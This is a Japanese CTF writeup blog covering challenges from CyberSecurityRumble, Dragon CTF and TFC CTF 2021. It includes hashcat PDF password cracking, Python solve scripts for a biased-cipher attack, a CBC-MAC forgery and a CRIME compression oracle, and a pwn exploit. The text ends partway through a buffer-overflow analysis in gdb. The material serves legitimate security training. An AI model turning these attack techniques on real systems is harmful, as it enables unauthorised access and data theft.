CyberSecurityRumble CTF Writeup

この大会は2021/11/27 5:00(JST)~2021/11/29 5:00(JST)に開催されました。
今回もチームで参戦。結果は544点で238チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Flag Checker, Baby (pwn)

適当な31バイトの文字列を入力すれば、フラグが連なって表示されるはず。

$ nc challs.rumble.host 53921
Enter the flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
Wrong flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
CSR{should_have_used_strlcpy_instead}
CSR{should_have_used_strlcpy_instead}

Result (cry, misc)

添付のPDFはzipcodeのパスワードらしい。それを前提にクラックする。

$ pdf2john.pl result.pdf > hash.txt

hash.txtの先頭の"result.pdf:"を削除し、数字を前提にパスワードクラックする。

>hashcat.exe -m 10700 hash.txt -a 3 --increment ?d?d?d?d?d?d
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 127

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Uses-64-Bit
* (null)

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 935 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10700 (PDF 1.7 Level 8 (Acrobat 10 - 11))
Hash.Target......: $pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf2559...6165be
Time.Started.....: Sat Nov 27 09:15:17 2021 (3 secs)
Time.Estimated...: Sat Nov 27 09:15:20 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d [1]
Guess.Queue......: 1/6 (16.67%)
Speed.#1.........:        3 H/s (4.72ms) @ Accel:4 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 10/10 (100.00%)
Rejected.........: 0/10 (0.00%)
Restore.Point....: 1/1 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:9-10 Iteration:63-64
Candidate.Engine.: Device Generator
Candidates.#1....: 6 -> 6

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10700 (PDF 1.7 Level 8 (Acrobat 10 - 11))
Hash.Target......: $pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf2559...6165be
Time.Started.....: Sat Nov 27 09:15:27 2021 (13 secs)
Time.Estimated...: Sat Nov 27 09:15:40 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d [2]
Guess.Queue......: 2/6 (33.33%)
Speed.#1.........:        7 H/s (20.95ms) @ Accel:4 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 10/10 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:9-10 Iteration:63-64
Candidate.Engine.: Device Generator
Candidates.#1....: 62 -> 67

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10700 (PDF 1.7 Level 8 (Acrobat 10 - 11))
Hash.Target......: $pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf2559...6165be
Time.Started.....: Sat Nov 27 09:15:47 2021 (17 secs)
Time.Estimated...: Sat Nov 27 09:16:04 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d [3]
Guess.Queue......: 3/6 (50.00%)
Speed.#1.........:       58 H/s (25.92ms) @ Accel:4 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1000/1000 (100.00%)
Rejected.........: 0/1000 (0.00%)
Restore.Point....: 100/100 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:9-10 Iteration:63-64
Candidate.Engine.: Device Generator
Candidates.#1....: 623 -> 676

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10700 (PDF 1.7 Level 8 (Acrobat 10 - 11))
Hash.Target......: $pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf2559...6165be
Time.Started.....: Sat Nov 27 09:16:11 2021 (22 secs)
Time.Estimated...: Sat Nov 27 09:16:33 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 4/6 (66.67%)
Speed.#1.........:      452 H/s (33.10ms) @ Accel:4 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 10000/10000 (100.00%)
Rejected.........: 0/10000 (0.00%)
Restore.Point....: 1000/1000 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:9-10 Iteration:63-64
Candidate.Engine.: Device Generator
Candidates.#1....: 6234 -> 6764

$pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf25592c*48*67171ef681ef91ed5bea716fa5eceda89b8659e1e7e4c5b810be37befb1ddd6ccc0217015a1eebce2c84e57607d22225*48*9b5a9e500fb87e9d4171e22fa77eb5a72ba857d2e2eaa4674ec8ed69831c77fdf400be271c304f6875dd1c5272a3fef0*32*e6e5cbe1bef4ba12e74a43e8a079970ed93664333955e76d22396fe69367d3fc*32*3de89fe5d937cf8a0b1105dd7c60a0c24bd3ca0e815b59cd02a59581d36165be:73760

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10700 (PDF 1.7 Level 8 (Acrobat 10 - 11))
Hash.Target......: $pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf2559...6165be
Time.Started.....: Sat Nov 27 09:16:40 2021 (1 min, 35 secs)
Time.Estimated...: Sat Nov 27 09:18:15 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d [5]
Guess.Queue......: 5/6 (83.33%)
Speed.#1.........:      584 H/s (158.60ms) @ Accel:4 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 55296/100000 (55.30%)
Rejected.........: 0/55296 (0.00%)
Restore.Point....: 0/10000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:63-64
Candidate.Engine.: Device Generator
Candidates.#1....: 72345 -> 79214

Started: Sat Nov 27 09:15:08 2021
Stopped: Sat Nov 27 09:18:17 2021

パスワードは73760。このパスワードでPDFを開くと、フラグが書いてあった。

CSR{BigBigEntropy}

Personal Encryptor with Nonbreakable Inforation-theoretic Security (cry)

サーバの処理概要は以下の通り。

・ALPHABET = string.ascii_letters + "{}_!$&-%?()"
・inpt: 暗号化回数(1~1000)を入力
・inptの数だけ以下繰り返し
 ・key = keygen(len(FLAG))
  ・rnd_bytes: FLAGの長さのランダム文字列
  ・keyを以下のようにして算出
   ・ALPHABET[rnd_bytes[i] % len(ALPHABET)]
 ・encrypt(key, FLAG)→表示
  ・FLAGの各文字はALPHABETの文字に含まれている必要あり
  ・FLAGの各文字について以下のようして暗号化
   ・FLAGとkeyのALPHABETのインデックスの和(ALPHABETの長さで割った余り)
    →ALPHABETのインデックスとしてALPHABETの対応する文字

ALPHABETは63の長さ。rnd_bytesの各文字の最大は255。

>>> 255 % 63
3

0~3の確率が他より高い。1000回試し、4つ連続した文字の出現回数の合計の多いものを探す。1000回だけだと、データ量が不足するので、わかっているフラグのハッシュ値と同じになるまで繰り返す。

#!/usr/bin/env python3
import socket
import string
import hashlib

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_char(ciphers, index):
    counts = {}
    for cipher in ciphers:
        c = cipher[index]
        if c not in counts:
            counts[c] = 1
        else:
            counts[c] += 1
    sums = []
    for i in range(len(ALPHABET)):
        sum = 0
        for j in range(4):
            sum += counts[ALPHABET[(i + j) % len(ALPHABET)]]
        sums.append(sum)
    index = sums.index(max(sums))
    return ALPHABET[index]


h = '59f03b531db63fe65b7b8522badee65488d7a63fd97c3134766faf3d0fde427c'
ALPHABET = string.ascii_letters + '{}_!$&-%?()'

ciphers = []
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('challs.rumble.host', 17171))

    count = 1000
    data = recvuntil(s, b'>')
    print(data + str(count))
    s.sendall(str(count).encode() + b'\n')

    for i in range(count):
        data = recvuntil(s, b'\n').rstrip()
        #print(data)
        ciphers.append(data)

    data = recvuntil(s, b'\n').rstrip()
    print(data)

    FLAG = ''
    for i in range(len(ciphers[0])):
        FLAG += get_char(ciphers, i)
    print('Flag? =', FLAG)

    if hashlib.sha256(FLAG.encode()).hexdigest() == h:
        print('Found!')
        print('FLAG =', FLAG)
        break

実行結果は以下の通り。

Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = ETQKBnHwyGABeSEP}
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = ETQLB}RwGRAB!SCG{
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = cSRLA!AwGRAC!SCG!
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = DSR{A!AM!RAB!TCG}
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = DSR{B!AS!SAB!TCG}
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = DSR{B!AS!SAB!TCG}
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = DSR{B!AS!SAB!TCH}
Welcome to our `Personal Encryptor with Nonbreakable Information-theoretic Security` DEMO.
With this PoC we show our unbreakable cipher.
Request as many ciphertexts as you want. You won't be able to decrypt!
To encrypt own messages please buy the full version.
How many ciphertexts would you like>1000
Thanks for trying our demo version. Good bye.
Flag? = CSR{B!AS!SAB!TCH}
Found!
FLAG = CSR{B!AS!SAB!TCH}
CSR{B!AS!SAB!TCH}

Dragon CTF 2021 Writeup

この大会は2021/11/27 21:00(JST)~2021/11/28 21:00(JST)に開催されました。
今回もチームで参戦。結果は391点で247チーム中66位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Miscellaneous)

IRCLibera.Chatに接続し、#dragonsectorチャネルに入ると、メッセージにフラグが書いてあった。

DrgnS{Welcome_to_Dragon_CTF_2021!}

Baby MAC (Cryptography)

サーバの処理概要は以下の通り。

・key: ランダム16バイト
・以下繰り返し選択
 ・"sign"の場合
  ・data: 入力(hex)→hexデコード
   →'gimme flag'が含まれていたらNG
  ・(sign(data, key) + data)のhex表示
   ・dataを16バイトパディング
   ・blocks: 16バイトごとにブロック分け
   ・mac: '\x00' * 16
   ・順にブロックをmacとXORしてAES-ECB暗号化したものをmacにする。
   ・最後にmacをAES-ECB暗号化したものを返す。
 ・"verify"の場合
  ・data: 入力(hex)→hexデコード
   ・tag: dataの先頭16バイト
   ・data: dataからtagを除いた部分
   ・signした結果のmacとtagが一致していたら、Trueを返す。
  ・verify結果がTrueで、dataに'gimme flag'が含まれていたら、フラグを表示

macの計算イメージは以下の通り。

PT1       --(AES暗号化)--> CT1
PT2 ^ CT1 --(AES暗号化)--> CT2
PT3 ^ CT2 --(AES暗号化)--> CT3
CT3       --(AES暗号化)--> MAC

以下のような流れで'gimme flag'が含まれているMACを算出し、signのverifyする。

1回目sign
PT1 = pad('A')

PT1       --(AES暗号化)--> CT1
CT1       --(AES暗号化)--> MAC
→入力:'A'
→出力:MAC

2回目sign
G = pad('gimme flag')
PT1 = pad('A')
PT2 = '\x00' * 16
PT3 = MAC ^ G
PAD = '\x10' * 16

PT1       --(AES暗号化)--> CT1
CT1       --(AES暗号化)--> MAC
G         --(AES暗号化)--> CT3
PAD ^ CT3 --(AES暗号化)--> CT4
CT4       --(AES暗号化)--> new MAC
→入力:'A' + '\x0f' * 15 + '\x00' * 16 + (MAC ^ ('gimme flag' + '\x06' * 6))
→出力:new MAC

verify
・data: pad('gimme flag')
・tag: new MAC
#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def pad(data, bsize):
    b = bsize - len(data) % bsize
    return data + bytes([b] * b)

def xor(a, b):
    return bytes(aa ^ bb for aa, bb in zip(a, b))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('babymac.hackable.software', 1337))

#### get sign('A') ####
inp = b'A'
data = recvuntil(s, b'> ')
print(data + 'sign')
s.sendall(b'sign\n')
data = recvuntil(s, b'> ')
print(data + inp.hex())
s.sendall(inp.hex().encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
mac = bytes.fromhex(data[:32])

#### get sign(pad('gimme flag')) ####
inp = pad(b'A', 16) + b'\x00' * 16 + xor(mac, pad(b'gimme flag', 16))
data = recvuntil(s, b'> ')
print(data + 'sign')
s.sendall(b'sign\n')
data = recvuntil(s, b'> ')
print(data + inp.hex())
s.sendall(inp.hex().encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
new_mac = bytes.fromhex(data[:32])

#### verify pad('gimme flag') ####
inp = new_mac + pad(b'gimme flag', 16)
data = recvuntil(s, b'> ')
print(data + 'verify')
s.sendall(b'verify\n')
data = recvuntil(s, b'> ')
print(data + inp.hex())
s.sendall(inp.hex().encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

What to do?
> sign
> 41
39cb16283075f894c2f6f3609e9b453941
What to do?
> sign
> 410f0f0f0f0f0f0f0f0f0f0f0f0f0f0f000000000000000000000000000000005ea27b4555559ef8a391f566989d433f
445b5163c84c47412daf9fc1eae3d1b1410f0f0f0f0f0f0f0f0f0f0f0f0f0f0f000000000000000000000000000000005ea27b4555559ef8a391f566989d433f
What to do?
> verify
> 445b5163c84c47412daf9fc1eae3d1b167696d6d6520666c6167060606060606
DrgnS{yuP_th4t_wa5nt_h4rD!1}
DrgnS{yuP_th4t_wa5nt_h4rD!1}

Compress The Flag (Miscellaneous)

サーバの処理概要は以下の通り。

・data = ''
・以下繰り返し
 ・idx: '\n'のインデックス
  ・'\n'がない場合
   ・データが128バイトを超える場合は終了
   ・d: 入力→ない場合終了
   ・dataにdを連結
  ・line: 改行前まで
  ・data: 改行後から
  ・seed: lineの1つ目の":"の前(数値)
  ・string: lineの1つ目の":"の後
  ・random.seed(int(seed))
  ・random.shuffle(flag)
  ・test_string = string + bytes(flag)
$ nc compresstheflag.hackable.software 1337
Please send: seed:string\n
I'll then show you the compression benchmark results!
Note: Flag has format DrgnS{[A-Z]+}
123:test
    none   29
    zlib   37
   bzip2   67
    lzma   88

zlibの同じ文字列の繰り返しがある場合に圧縮率が高くなる特徴を使ったCRIMEの問題と推測できる。
4バイトの入力でnoneが29のため、フラグの長さは25。ただフラグはシャッフルされるので、seedの値を調整して、できるだけ先頭にフラグ文字列の先頭を持ってくる。さらにseedの値により、"{", "}"の位置はわかるので、その場合だけそのまま文字を入れる。あとは英大文字だけという条件のため、1文字ずつブルートフォースでzlibのサイズが最も小さくなる場合の文字を探していけばよい。

#!/usr/bin/env python3
import socket
import random
import string

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def zlib_size(s):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    zlib_len = int(data.split(' ')[-1])
    for _ in range(3):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    return zlib_len

def reverse_shuffle(tbl1, tbl2, ct):
    pt = [''] * len(ct)
    for i in range(len(ct)):
        index = tbl1.index(tbl2[i])
        pt[index] = ct[i]
    return ''.join(pt)

flag1 = string.ascii_uppercase[:25].encode()

for seed in range(1000000):
    FLAG = bytearray(flag1)
    random.seed(seed)
    random.shuffle(FLAG)
    if string.ascii_uppercase[:4].encode() == bytes(FLAG[:4]):
        break

flag2 = bytes(FLAG)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('compresstheflag.hackable.software', 1337))

data = recvuntil(s, b'}\n').rstrip()
print(data)

idx_bracket1 = flag2.index(b'F')
idx_bracket2 = flag2.index(b'Y')

flag = 'Drgn'
for i in range(4, 25):
    if i == idx_bracket1:
        flag += '{'
        continue
    elif i == idx_bracket2:
        flag += '}'
        continue
    min_size = 9999
    min_flag = ''
    for c in string.ascii_uppercase:
        try_flag = flag + c
        payload = str(seed) + ':' + try_flag
        print(payload)
        s.sendall(payload.encode() + b'\n')
        size = zlib_size(s)
        if size < min_size:
            min_size = size
            min_flag = try_flag
    flag = min_flag

print(flag)

flag = reverse_shuffle(flag1, flag2, flag)
print(flag)

実行結果は以下の通り。

Please send: seed:string\n
I'll then show you the compression benchmark results!
Note: Flag has format DrgnS{[A-Z]+}
198763:DrgnA
    none   30
    zlib   36
   bzip2   66
    lzma   88

198763:DrgnB
    none   30
    zlib   36
   bzip2   67
    lzma   88

198763:DrgnC
    none   30
    zlib   36
   bzip2   66
    lzma   88

198763:DrgnD
    none   30
    zlib   36
   bzip2   66
    lzma   88

    :

198763:DrgnSESSE{RAUIGTSIMISCH}X
    none   50
    zlib   37
   bzip2   73
    lzma   96

198763:DrgnSESSE{RAUIGTSIMISCH}Y
    none   50
    zlib   37
   bzip2   73
    lzma   96

198763:DrgnSESSE{RAUIGTSIMISCH}Z
    none   50
    zlib   37
   bzip2   73
    lzma   96

DrgnSESSE{RAUIGTSIMISCH}I
DrgnS{THISISACRIMEIGUESS}
DrgnS{THISISACRIMEIGUESS}

TFC CTF 2021 Writeup

この大会は2021/11/26 21:00(JST)~2021/11/28 21:00(JST)に開催を
予定していたようですが、2021/11/27 21:00(JST)頃には
DDoSを受けたようで、終了になりました。
今回もチームで参戦。結果は3305点で453チーム中10位でした。
もう1問、nc接続して解く暗号問題がほぼ解けていたのですが、
接続できなかったので、残念でした。
自分で解けた問題をWriteupとして書いておきます。

RULES (MISC)

ルールのページにフラグの例が書いてあった。

TFCCTF{Fl4Gs_f0r_3v3ry0n3!!!^@&#@$?~:}

WEIRD FRIEND (MISC)

問題文の"quick response"からQRコードと推測する。29×29に整形する。

$ cat qr.txt
11111110011101100100001111111
10000010000110100110101000001
10111010011100111001001011101
10111010101101000000001011101
10111010101010001101001011101
10000010011000101100001000001
11111110101010101010101111111
00000000010010000000100000000
11000111011011010100000011000
00100100001000110001010110101
11000110110110011110010111100
10100101001100110000001011011
10011111011010111011011100111
11010100001011111001011111000
01110110110001111010110100000
00100001000000001011110101100
01000010100101100110000110000
10111101010101011110110111000
11011010111110011101000011001
10011001010100101001111001000
10010010111011000101111111100
00000000101100010011100010011
11111110101010010110101011100
10000010101010000001100011011
10111010010100110001111110000
10111010010110111110110101001
10111010011000011100000111110
10000010100100100001101011101
11111110101111100101000000100
$ python sqrd.py qr.txt
TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}
TFCCTF{why_ar3_QR_C0d3s_s0-complicated!?o00o0f}

LOST MY HEAD (MISC)

画像にあるごみ箱の前のストリートの名前、番号を答える。

$ exiftool img.heic
ExifTool Version Number         : 10.80
File Name                       : img.heic
Directory                       : .
File Size                       : 945 kB
File Modification Date/Time     : 2021:11:26 22:32:45+09:00
File Access Date/Time           : 2021:11:26 23:47:23+09:00
File Inode Change Date/Time     : 2021:11:26 22:32:45+09:00
File Permissions                : rwxrwxrwx
File Type                       : HEIC
File Type Extension             : heic
MIME Type                       : image/heic
Major Brand                     : High Efficiency Image Format HEVC still image (.HEIC)
Minor Version                   : 0.0.0
Compatible Brands               : heic, mif1
Handler Type                    : Picture
Primary Item Reference          : 31
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
Camera Model Name               : iPhone 12
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 15.1
Host Computer                   : iPhone 12
Tile Width                      : 512
Tile Length                     : 512
Exposure Time                   : 1/33
F Number                        : 1.6
Exposure Program                : Program AE
ISO                             : 500
Exif Version                    : 0232
Date/Time Original              : 2021:11:25 17:41:55
Offset Time                     : +02:00
Offset Time Original            : +02:00
Offset Time Digitized           : +02:00
Shutter Speed Value             : 1/33
Aperture Value                  : 1.6
Brightness Value                : -0.3018521991
Exposure Compensation           : 0
Metering Mode                   : Multi-segment
Flash                           : Off, Did not fire
Focal Length                    : 4.2 mm
Subject Area                    : 2009 1503 2208 1327
Run Time Flags                  : Valid
Run Time Value                  : 196815055666625
Run Time Scale                  : 1000000000
Run Time Epoch                  : 0
Acceleration Vector             : -0.0121414857 -0.8878740665 -0.4428345858
Sub Sec Time Original           : 077
Sub Sec Time Digitized          : 077
Color Space                     : Uncalibrated
Exif Image Width                : 4032
Exif Image Height               : 3024
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Exposure Mode                   : Auto
White Balance                   : Auto
Focal Length In 35mm Format     : 26 mm
Lens Info                       : 1.549999952-4.2mm f/1.6-2.4
Lens Make                       : Apple
Lens Model                      : iPhone 12 back dual wide camera 4.2mm f/1.6
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Speed Ref                   : km/h
GPS Speed                       : 2.130000115
GPS Img Direction Ref           : True North
GPS Img Direction               : 49.8644981
GPS Dest Bearing Ref            : True North
GPS Dest Bearing                : 49.8644981
GPS Horizontal Positioning Error: 10.24652737 m
XMP Toolkit                     : XMP Core 6.0.0
Create Date                     : 2021:11:25 17:41:55.077
Creator Tool                    : 15.1
Modify Date                     : 2021:11:25 17:41:55
Composite Image                 : 2
Date Created                    : 2021:11:25 17:41:55.077
Profile CMM Type                : Apple Computer Inc.
Profile Version                 : 4.0.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2017:07:07 13:22:32
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Apple Computer Inc.
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Apple Computer Inc.
Profile ID                      : ca1a9582257f104d389913d5d1ea1582
Profile Description             : Display P3
Profile Copyright               : Copyright Apple Inc., 2017
Media White Point               : 0.95045 1 1.08905
Red Matrix Column               : 0.51512 0.2412 -0.00105
Green Matrix Column             : 0.29198 0.69225 0.04189
Blue Matrix Column              : 0.1571 0.06657 0.78407
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Image Width                     : 2268
Image Height                    : 3023
Image Spatial Extent            : 2268x3023
Rotation                        : 0
Image Pixel Depth               : 8 8 8
Movie Data Size                 : 965562
Movie Data Offset               : 2491
Aperture                        : 1.6
GPS Altitude                    : 340 m Above Sea Level
GPS Latitude                    : 46 deg 46' 50.74" N
GPS Longitude                   : 23 deg 36' 54.26" E
GPS Position                    : 46 deg 46' 50.74" N, 23 deg 36' 54.26" E
Image Size                      : 2268x3023
Megapixels                      : 6.9
Run Time Since Power Up         : 2 days 6:40:15
Scale Factor To 35 mm Equivalent: 6.2
Shutter Speed                   : 1/33
Create Date                     : 2021:11:25 17:41:55.077+02:00
Date/Time Original              : 2021:11:25 17:41:55.077+02:00
Modify Date                     : 2021:11:25 17:41:55+02:00
Circle Of Confusion             : 0.005 mm
Field Of View                   : 69.4 deg
Focal Length                    : 4.2 mm (35 mm equivalent: 26.0 mm)
Hyperfocal Distance             : 2.27 m
Light Value                     : 4.1

Google Mapで「46°46’50.74″N 23°36’54.26″E」を検索する。

Strada Simion Mușat 4
TFCCTF{Simion_Musat_4}

SECRET (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Tell me a secret");
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  fgets((char *)&local_28,0x20,stdin);
  if (((int)local_28 == -0x55443323) && (local_28._4_4_ == -0x55443323)) {
    puts("hmm, interesting");
    system("cat flag");
    putchar(10);
  }
  else {
    puts("I have already heard that one, sorry");
  }
  return 0;
}

32bitの整数0xaabbccddの文字列変換したものを2つ入力すればよい。

from pwn import *

p = remote('secret.challenge.ctf.thefewchosen.com', 1337)

payload = p32(0xaabbccdd) * 2

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to secret.challenge.ctf.thefewchosen.com on port 1337: Done
== proof-of-work: disabled ==
Tell me a secret
��\xbb\xaa��\xbb\xaa
hmm, interesting
TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!}
[*] Closed connection to secret.challenge.ctf.thefewchosen.com port 1337
TFCCTF{Y0ur_s3cret_1s_s4f3_w1th_m3!}

SANTA (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("What are you wishing for?\n");
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  __isoc99_scanf(&DAT_00402028,&local_38);
  return 0;
}

void flag(void)

{
  system("cat flag");
  return;
}

BOFでflag関数をコールする。

$ gdb -q ./santa
Reading symbols from ./santa...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/santa 
What are you wishing for?

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dce560 --> 0x7ffff7dca580 --> 0x7ffff7b978e1 --> 0x636d656d5f5f0043 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x1 
RDI: 0x0 
RBP: 0x4147414131414162 (b'bAA1AAGA')
RSP: 0x7fffffffde68 ("AcAA2AAHAAdAA3A"...)
RIP: 0x4011dd (<main+120>:	ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x40202a --> 0x403b031b010000 
R12: 0x401070 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf40 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x00000000004011dd in main ()
gdb-peda$ patto AcAA2AAHAAdAA3A
